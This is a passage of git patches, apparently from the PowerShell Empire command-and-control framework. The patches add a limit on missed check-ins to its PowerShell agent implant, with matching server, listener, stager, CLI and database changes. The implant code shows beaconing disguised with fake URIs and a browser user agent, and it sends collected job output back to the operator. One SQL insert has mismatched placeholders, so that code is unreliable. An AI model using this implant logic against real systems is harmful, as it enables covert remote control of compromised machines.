From 65abc684d0c05bf2b52b842c7d66775c310dbc23 Mon Sep 17 00:00:00 2001 From: sixdub Date: Sun, 9 Aug 2015 22:18:02 -0400 Subject: [PATCH 01/26] Added missed CB limits --- data/agent/agent.ps1 | 70 ++++++++++++++++++++++++++++++++++++++--- lib/common/agents.py | 20 ++++++------ lib/common/empire.py | 58 ++++++++++++++++++++++++++++++++++ lib/common/listeners.py | 28 ++++++++++------- lib/common/messages.py | 14 ++++++--- lib/common/stagers.py | 6 ++-- setup/setup_database.py | 14 ++++++--- 7 files changed, 175 insertions(+), 35 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 0c59922..19668e8 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -32,6 +32,9 @@ function Invoke-Empire { .PARAMETER Epoch server epoch time, defaults to client time + + .PARAMETER MissedCBLimit + The limit of the number of callbacks the agent will miss before exiting #> param( @@ -65,7 +68,10 @@ function Invoke-Empire { $Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", [Int32] - $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))) + $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))), + + [Int32] + $MissedCBLimit = 60 ) ############################################################ @@ -74,6 +80,8 @@ function Invoke-Empire { $script:AgentDelay = $AgentDelay $script:AgentJitter = $AgentJitter + $script:MissedCBLimit = $MissedCBLimit + $script:MissedCB = 0 $encoding = [System.Text.Encoding]::ASCII @@ -151,6 +159,22 @@ function Invoke-Empire { "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter" } + function Set-MissedCBLimit { + param([int]$l) + $script:MissedCBLimit = $l + if($l -eq 0) + { + "agent set to never die based on CB Limit" + } + else + { + "agent MissedCBLimit set to $script:MissedCBLimit" + } + } + function Get-Delay { + "agent MissedCBLimit: $script:MissedCBLimit" + } + # set the killdate for the agent function Set-Killdate { param([string]$date) @@ -882,6 +906,7 @@ function Invoke-Empire { } } catch [Net.WebException] { + $script:MissedCB+=1 # handle 403? for key-negotiation? # handle host not found/reachable? # if($_.Exception -match "(403)"){ @@ -929,6 +954,34 @@ function Invoke-Empire { exit } + if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit)) + { + + # get any job results and kill the jobs + $packets = $null + Get-Job -name ($JobNameBase + "*") | %{ + # $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String + # $data = Receive-Job $_ | fl | Out-String + $data = Receive-Job $_ + + if ($data -is [system.array]){ + $data = $data -join "" + } + $data = $data | fl | Out-String + + if($data){ + $packets += $(Encode-Packet -type 110 -data $($data)) + } + Stop-Job $_ + Remove-Job $_ + } + + # send an exit status message and die + $msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached" + Send-Message $(Encode-Packet -type 2 -data $msg) + + exit + } if($Servers[$ServerIndex].StartsWith("http")){ @@ -996,14 +1049,23 @@ function Invoke-Empire { $statusCode = [int]$_.Exception.Response.StatusCode # TODO: handle error codes appropriately? if ($statusCode -eq 0){ - # host unreachable... backup server? + #handle a specific status code } } # if we get data, process the packet + $script:MissedCB=0 Process-Tasking $data } - else{ - # TODO: do we need to process the error? + #Check for default tasking and reset the count if it is found + elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "")) + { + #Some page that is html, possibly the default + #TODO: Replace to check for the specific default page marker + $script:MissedCB=0 + } + else { + #Hmmmm? + } # force garbage collection to clean up :) [GC]::Collect() diff --git a/lib/common/agents.py b/lib/common/agents.py index cde39f1..d26dce6 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -98,7 +98,7 @@ class Agents: cur.close() - def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours): + def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit): """ Add an agent to the internal cache and database. """ @@ -128,7 +128,7 @@ class Agents: userAgent = parts[1] additionalHeaders = parts[2] - cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours)) + cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit)) cur.close() # initialize the tasking/result buffers along with the client session key @@ -1052,7 +1052,7 @@ class Agents: dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") # get the staging information for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit config = self.listeners.get_staging_information(port=port) host = config[0] stagingkey = config[3] @@ -1124,7 +1124,7 @@ class Agents: counter = responsePackets[-1][1] - # validate the counter in the packet in the set + # validate the counter in the packet in the setcode.replace if counter and packets.validate_counter(counter): for responsePacket in responsePackets: @@ -1155,7 +1155,7 @@ class Agents: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit stagingKey = self.listeners.get_staging_information(port=port)[3] # decrypt the agent's public key @@ -1187,9 +1187,10 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] + missedCBLimit = config[11] # add the agent to the database now that it's "checked in" - self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours) + self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit) # step 4 of negotiation -> return epoch+aes_session_key clientSessionKey = self.get_agent_session_key(sessionID) @@ -1218,7 +1219,7 @@ class Agents: decoded = helpers.decode_base64(parts[1]) # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit config = self.listeners.get_staging_information(host=decoded) else: @@ -1229,6 +1230,7 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] + missedCBLimit = config[11] # get the session key for the agent sessionKey = self.agents[sessionID][0] @@ -1272,7 +1274,7 @@ class Agents: dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") # step 6 of negotiation -> server sends patched agent.ps1 - agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours) + agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit) username = str(domainname)+"\\"+str(username) @@ -1289,7 +1291,7 @@ class Agents: # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: diff --git a/lib/common/empire.py b/lib/common/empire.py index 2654eff..1319a80 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd): else: print helpers.color("[!] Invalid agent name") + def do_changelostlimit(self, line): + "Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '" + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter a valid '#ofCBs'") + + elif parts[0].lower() == "all": + MissedCBLimit = parts[1] + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + # update this agent info in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + MissedCBLimit = parts[1] + + if sessionID and len(sessionID) != 0: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") def do_killdate(self, line): "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)." @@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd): return self.complete_clear(text, line, begidx, endidx) + def complete_changelostlimit(self, text, line, begidx, endidx): + "Tab-complete a sleep command" + + return self.complete_clear(text, line, begidx, endidx) def complete_killdate(self, text, line, begidx, endidx): "Tab-complete a killdate command" @@ -1185,6 +1228,21 @@ class AgentMenu(cmd.Cmd): msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_changelostlimit(self, line): + "Task an agent to change the limit on missed CBs" + + parts = line.strip().split(" ") + if len(parts) > 0 and parts[0] != "": + MissedCBLimit = parts[0] + + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID) + + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + # update the agent log + msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_kill(self, line): "Task an agent to kill a particular process name or ID." diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 59124ce..c9cc895 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -42,7 +42,7 @@ class Listeners: # set the initial listener config to be the config defaults self.conn.row_factory = dict_factory cur = self.conn.cursor() - cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config") + cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config") defaults = cur.fetchone() cur.close() self.conn.row_factory = None @@ -84,6 +84,11 @@ class Listeners: 'Required' : True, 'Value' : defaults['default_jitter'] }, + 'DefaultMissedCBLimit' : { + 'Description' : 'Number of missed callbacks before exiting', + 'Required' : True, + 'Value' : defaults['default_missed_cb_limit'] + }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent.', 'Required' : True, @@ -118,7 +123,7 @@ class Listeners: """ cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners") + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners") results = cur.fetchall() cur.close() @@ -271,7 +276,7 @@ class Listeners: try: # get the listener information - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId) listenerId = int(ID) @@ -305,7 +310,7 @@ class Listeners: if nameid : listenerId = nameid cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId]) + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId]) listener = cur.fetchone() cur.close() @@ -399,20 +404,20 @@ class Listeners: if(listenerId): cur = self.conn.cursor() - cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) stagingInformation = cur.fetchone() cur.close() elif(port): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port]) stagingInformation = cur.fetchone() cur.close() # used to get staging info for hop.php relays elif(host): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host]) stagingInformation = cur.fetchone() cur.close() @@ -511,6 +516,7 @@ class Listeners: workingHours = self.options['WorkingHours']['Value'] listenerType = self.options['Type']['Value'] redirectTarget = self.options['RedirectTarget']['Value'] + defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value'] # validate all of the options if self.validate_listener_options(): @@ -537,7 +543,7 @@ class Listeners: return False cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -558,7 +564,7 @@ class Listeners: # add the listener to the database if start up cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -593,7 +599,7 @@ class Listeners: else: # get the existing listener options - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName) cur = self.conn.cursor() @@ -604,7 +610,7 @@ class Listeners: pivotHost += internalIP + ":" + str(listenPort) # insert the pivot listener with name=sessionID for the pivot agent - cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] ) + cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [sessionID]) diff --git a/lib/common/messages.py b/lib/common/messages.py index 6644699..3c3e2f1 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -126,7 +126,7 @@ def display_agents(agents): print " --------- ----------- ------------ --------- ------- ----- --------------------" for agent in agents: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent if str(high_integrity) == "1": # add a * to the username if it's high integrity username = "*" + username @@ -146,7 +146,7 @@ def display_agent(agent): """ # extract out database fields. - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"] print helpers.color("\n[*] Agent info:\n") @@ -173,7 +173,7 @@ def display_listeners(listeners): for listener in listeners: - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener if not host.startswith("http"): if cert_path and cert_path != "": @@ -216,7 +216,7 @@ def display_listener_database(listener): Transforms the tuple set to an options dictionary and calls display_listener(). """ - [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener + [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener options = { 'ID' : { @@ -259,6 +259,11 @@ def display_listener_database(listener): 'Required' : True, 'Value' : '' }, + 'DefaultMissedCBLimit' : { + 'Description' : 'Number of missed callbacks before exiting', + 'Required' : True, + 'Value' : '' + }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent.', 'Required' : True, @@ -299,6 +304,7 @@ def display_listener_database(listener): options['WorkingHours']['Value'] = workingHours options['Type']['Value'] = listenerType options['RedirectTarget']['Value'] = redirectTarget + options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit display_listener(options) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index b509ae5..3899de5 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -163,13 +163,12 @@ class Stagers: return randomizedStager - def generate_agent(self, delay, jitter, profile, killDate, workingHours): + def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit): """ Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. This should always be sent over encrypted comms. """ - f = open(self.installPath + "./data/agent/agent.ps1") code = f.read() f.close() @@ -177,10 +176,11 @@ class Stagers: # strip out comments and blank lines code = helpers.strip_powershell_comments(code) - # patch in the delay, jitter, and comms profile + # patch in the delay, jitter, missed CB limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit)) # patch in the killDate and workingHours if they're specified if killDate != "": diff --git a/setup/setup_database.py b/setup/setup_database.py index 4790a7c..c9af8bb 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -61,6 +61,9 @@ IP_WHITELIST = "" # format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 IP_BLACKLIST = "" +#number of times an agent will call back without an answer prior to exiting +DEFAULT_MISSED_CB_LIMIT = 60 + ################################################### @@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config ( "install_path" text, "server_version" text, "ip_whitelist" text, - "ip_blacklist" text + "ip_blacklist" text, + "default_missed_cb_limit" integer )''') # kick off the config component of the database -c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST)) +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT)) c.execute('''CREATE TABLE "agents" ( "id" integer PRIMARY KEY, @@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" ( "functions" text, "kill_date" text, "working_hours" text, - "ps_version" text + "ps_version" text, + "missed_cb_limit" integer )''') c.execute('''CREATE TABLE "listeners" ( @@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" ( "kill_date" text, "working_hours" text, "listener_type" text, - "redirect_target" text + "redirect_target" text, + "default_missed_cb_limit" integer )''') # type = hash, plaintext, token From b718f8b4212b336419d9c822e20f4334661d25bc Mon Sep 17 00:00:00 2001 From: sixdub Date: Mon, 10 Aug 2015 09:14:15 -0400 Subject: [PATCH 02/26] Updated changelog --- changelog | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 changelog diff --git a/changelog b/changelog new file mode 100644 index 0000000..e4ef971 --- /dev/null +++ b/changelog @@ -0,0 +1,15 @@ +8/10/2015 +--------- +-Fixed tab completion of usestager module +-Added dependencies for Ubuntu 14.04 +-Fixed IP Whitelisting set from file + +8/9/2015 +---------- +-Fixed flaw in crypto allowing a DOS condition. +-Added authentication to the AES crypto scheme to verify integrity of messages + +8/6/2015 +----------- +-Initial release. All components released +-Commited path fix to correct bug in certain modules From 495df58789b5eeb59aa86aea0cd3970abf55e4cc Mon Sep 17 00:00:00 2001 From: sixdub Date: Mon, 10 Aug 2015 18:50:18 -0400 Subject: [PATCH 03/26] Updated Lost Agent Detection --- changelog | 1 + data/agent/agent.ps1 | 85 +++++++++++++++++++++++------------------ lib/common/agents.py | 20 +++++----- lib/common/empire.py | 37 +++++++++--------- lib/common/http.py | 1 + lib/common/listeners.py | 30 +++++++-------- lib/common/messages.py | 22 +++++------ lib/common/stagers.py | 9 +++-- setup/setup_database.py | 10 ++--- 9 files changed, 114 insertions(+), 101 deletions(-) diff --git a/changelog b/changelog index e4ef971..da2cb74 100644 --- a/changelog +++ b/changelog @@ -3,6 +3,7 @@ -Fixed tab completion of usestager module -Added dependencies for Ubuntu 14.04 -Fixed IP Whitelisting set from file +-Added "Lost Agent Detection". Allows the ability for an agent to die after a certain number of missed checkins. This is implemented via the "lostlimit" command. Default set to 60 missed checkins. 8/9/2015 ---------- diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 19668e8..82ec8f6 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -33,8 +33,11 @@ function Invoke-Empire { .PARAMETER Epoch server epoch time, defaults to client time - .PARAMETER MissedCBLimit - The limit of the number of callbacks the agent will miss before exiting + .PARAMETER LostLimit + The limit of the number of checkins the agent will miss before exiting + + .PARAMETER DefaultPage + The default page string Base64 encoded #> param( @@ -71,7 +74,10 @@ function Invoke-Empire { $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))), [Int32] - $MissedCBLimit = 60 + $LostLimit = 60, + + [String] + $DefaultPage = "" ) ############################################################ @@ -80,8 +86,9 @@ function Invoke-Empire { $script:AgentDelay = $AgentDelay $script:AgentJitter = $AgentJitter - $script:MissedCBLimit = $MissedCBLimit - $script:MissedCB = 0 + $script:LostLimit = $LostLimit + $script:MissedCheckins = 0 + $script:DefaultPage = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultPage)) $encoding = [System.Text.Encoding]::ASCII @@ -159,20 +166,20 @@ function Invoke-Empire { "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter" } - function Set-MissedCBLimit { + function Set-LostLimit { param([int]$l) - $script:MissedCBLimit = $l + $script:LostLimit = $l if($l -eq 0) { - "agent set to never die based on CB Limit" + "agent set to never die based on checkin Limit" } else { - "agent MissedCBLimit set to $script:MissedCBLimit" + "agent LostLimit set to $script:LostLimit" } } - function Get-Delay { - "agent MissedCBLimit: $script:MissedCBLimit" + function Get-LostLimit { + "agent LostLimit: $script:LostLimit" } # set the killdate for the agent @@ -906,8 +913,8 @@ function Invoke-Empire { } } catch [Net.WebException] { - $script:MissedCB+=1 - # handle 403? for key-negotiation? + $script:MissedCheckins+=1 + # handle host not found/reachable? # if($_.Exception -match "(403)"){ # Write-Host "403!!" @@ -954,7 +961,7 @@ function Invoke-Empire { exit } - if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit)) + if((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit)) { # get any job results and kill the jobs @@ -977,7 +984,7 @@ function Invoke-Empire { } # send an exit status message and die - $msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached" + $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached" Send-Message $(Encode-Packet -type 2 -data $msg) exit @@ -1042,30 +1049,32 @@ function Invoke-Empire { # get the next task from the server $data = Get-Task - # make sure there's a result and it doesn't begin with "" (i.e. the default page) - if ($data -and (-not ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq ""))){ - # check if an error was received - if ($data.GetType().Name -eq "ErrorRecord"){ - $statusCode = [int]$_.Exception.Response.StatusCode - # TODO: handle error codes appropriately? - if ($statusCode -eq 0){ - #handle a specific status code - } + #Check to see if we got data + if ($data) { + #did we get a default page + if ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage) { + $script:MissedCheckins=0 + } + #we did not get a default, check for erros and process the tasking + elseif (-not ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage)) { + # check if an error was received + if ($data.GetType().Name -eq "ErrorRecord"){ + $statusCode = [int]$_.Exception.Response.StatusCode + if ($statusCode -eq 0){ + + } + } + else { + # if we get data with no error, process the packet + $script:MissedCheckins=0 + Process-Tasking $data + } + + } + else { + #No data... wierd? + } - # if we get data, process the packet - $script:MissedCB=0 - Process-Tasking $data - } - #Check for default tasking and reset the count if it is found - elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "")) - { - #Some page that is html, possibly the default - #TODO: Replace to check for the specific default page marker - $script:MissedCB=0 - } - else { - #Hmmmm? - } # force garbage collection to clean up :) [GC]::Collect() diff --git a/lib/common/agents.py b/lib/common/agents.py index d26dce6..d64e446 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -98,7 +98,7 @@ class Agents: cur.close() - def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit): + def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,lostLimit): """ Add an agent to the internal cache and database. """ @@ -128,7 +128,7 @@ class Agents: userAgent = parts[1] additionalHeaders = parts[2] - cur.execute("INSERT INTO agents 